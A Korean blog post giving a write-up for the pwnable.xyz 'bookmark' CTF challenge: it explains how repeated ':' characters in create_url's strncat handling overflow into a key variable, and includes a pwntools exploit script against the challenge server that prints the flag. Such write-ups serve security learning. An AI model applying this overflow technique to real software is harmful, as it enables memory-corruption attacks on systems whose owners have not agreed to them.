본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / bookmark

mitigation

 

 

main

북마크 프로그램으로 아래와 같은 기능들이 주어진다

  • 로그인
  • url 생성
  • url 출력
  • url 저장 ( 미구현으로 flag를 출력해 줌)
  • 종료

생성된 비밀번호를 올바르게 입력하게 되면 key가 1이 되어서 url을 저장 기능을 통해 플래그를 출력 시킬 수 있다

 

create_url

strncat으로 bm에 buf를 저장할 수 있다 '/' 또는 ':'인 경우 bm의 길이를 계속 증가 시킬 수 있어서 key까지 덮어버려서 플래그 주도록 했다

 

from pwn import *

p = remote("svc.pwnable.xyz", 30021)
#p = process("./bookmark")

def create_url(data, length):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"insecure: ")
    p.send(b"https:::")
    p.recvuntil(b"url: ")
    p.sendline(str(length))
    p.sendline(data)

payload = b":" * 120
for i in range(3):
    create_url(payload, 127)

p.recvuntil(b"> ")
p.sendline(b"4")

p.interactive()

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / catalog  (0) 2022.05.21
pwnable.xyz / PvP  (0) 2022.05.21
pwnable.xyz / attack  (0) 2022.05.21
pwnable.xyz / rwsr  (0) 2022.05.20
pwnable.xyz / message  (0) 2022.05.20